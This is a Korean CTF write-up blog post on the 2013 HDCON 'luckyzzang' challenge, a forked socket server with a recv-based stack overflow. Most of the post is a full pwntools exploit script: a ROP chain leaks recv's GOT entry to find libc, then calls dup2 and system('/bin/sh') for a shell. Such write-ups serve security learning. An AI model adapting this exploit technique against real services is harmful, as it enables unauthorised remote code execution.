2013 hdcon luckyzzang
바이너리는 소켓 통신 프로그램이며 while 문으로 accept를 기다리고 fork 한다. fork한 자식 프로세스는 func 함수를 실행시킨다.
- func
func 함수에서는 recv 함수로 값을 입력받는데,
rand % 100 + 1025 만큼 입력받는다. 즉 buf에서 오버플로우가 발생한다.
풀다보니 왠지 익숙한 느낌이 들었었는데 BoB 과제였다.. 어쨋든 리버스 커넥션이나 리다이렉트, dup2 함수를 이용한 방법이 있을 것 같다.
NX가 걸려있는 상황에서의 BOF라 ROP를 시도하면 해결될 것 같은데 문제는 BOF 길이가 100% reliable한 payload를 만들어주지 않는 길이인 것이다.
이 때문에 libc_base를 구하는 첫 번째 stage, 구한 libc_base를 이용하여 shell을 얻는 두 번째 stage, 총 두 가지 단계로 구성했다. 또한 recv 함수가 인자가 네 개나 돼서 리버스 커넥션과 리다이렉트는 포기하고(너무 오래 걸리더라구요..) dup2를 이용하였다.
짜고 보니까 부모 프로세스는 고정이니 libc가 고정이네요 stage 안나누고 그냥 따로 진행해도 될 것 같습니다.
이런 류의 문제는 별로 재밌지가 않네요.. 몇 번을 고쳤는지 ㅠ
from pwn import *
s = connect('localhost', '7777')
p4ret = 0x80489cc
p2ret = 0x0804878e
recv_got = 0x804a040
send_plt = 0x8048610
recv_off = 0xe6590
binsh_off = 0x15902b
sys_off = 0x3a940
dup2_off = 0xd4b50
call_func = 0x0804891a
def exploit(pay):
s.recvuntil(': ')
s.sendline(pay)
################### stage 1 ######################
pay = 'A' * 1036
pay += p32(send_plt)
pay += p32(p4ret)
pay += p32(4) + p32(recv_got) + p32(4) + p32(0)
pay += p32(call_func)
pay += p32(4)
exploit(pay)
leak = u32(s.recv(4))
print('leak: {}'.format(hex(leak)))
libc_base = leak - recv_off
system = libc_base + sys_off
binsh = libc_base + binsh_off
dup2 = libc_base + dup2_off
#################### stage 2 #####################
pay = 'A' * 1036
pay += p32(dup2)
pay += p32(p2ret)
pay += p32(4) + p32(0) # 0 -> 4
pay += p32(dup2)
pay += p32(p2ret)
pay += p32(4) + p32(1) # 1 -> 4
pay += p32(dup2)
pay += p32(p2ret)
pay += p32(4) + p32(1) # 1 -> 4
pay += p32(system)
pay += 'BBBB'
pay += p32(binsh)
print(len(pay))
exploit(pay)
s.interactive()
쉘을 확인할 수 있었습니다.
'system > writeup' 카테고리의 다른 글
2014 plaidCTF ezhp (0) | 2019.01.04 |
---|---|
2014 codegate angry_doraemon (0) | 2019.01.04 |
2016 whithat malloc (0) | 2019.01.01 |
2015 codegate yocto (0) | 2018.12.31 |
pwnable.kr alloca - 80pt (0) | 2018.12.27 |